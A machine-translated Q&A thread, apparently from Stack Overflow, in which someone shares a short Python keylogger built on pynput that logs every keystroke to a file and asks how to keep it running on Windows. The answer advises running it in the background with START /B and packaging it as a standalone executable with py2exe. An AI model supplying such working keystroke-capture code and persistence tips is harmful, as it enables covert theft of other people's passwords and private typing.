怎么总是听键盘记录器?

how Always listen to keylogger?

我怎么总是倾听?当 Pycharm 关闭时脚本关闭。我使用 windows

from pynput.keyboard import Key, Listener
import logging

log_dir=""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

我下了订单,没弄错,但不在处理中

您需要 运行 文件并保持打开状态。最简单的方法是从命令行(注意:您需要 cd 到包含 python 文件的目录):

python <nameOfYourFile>.py

点击return,不要关闭命令行。

我建议使用像 py2exe 这样的工具从你的脚本构建一个独立的 Windows 可执行文件,因为需要 python 解释器到 运行 键盘记录器会添加一个对它的繁琐依赖。

或者您可以从 Windows 命令行 CMD 调用 python 解释器并 运行 它作为后台进程:

START /B python <your_python_file>.py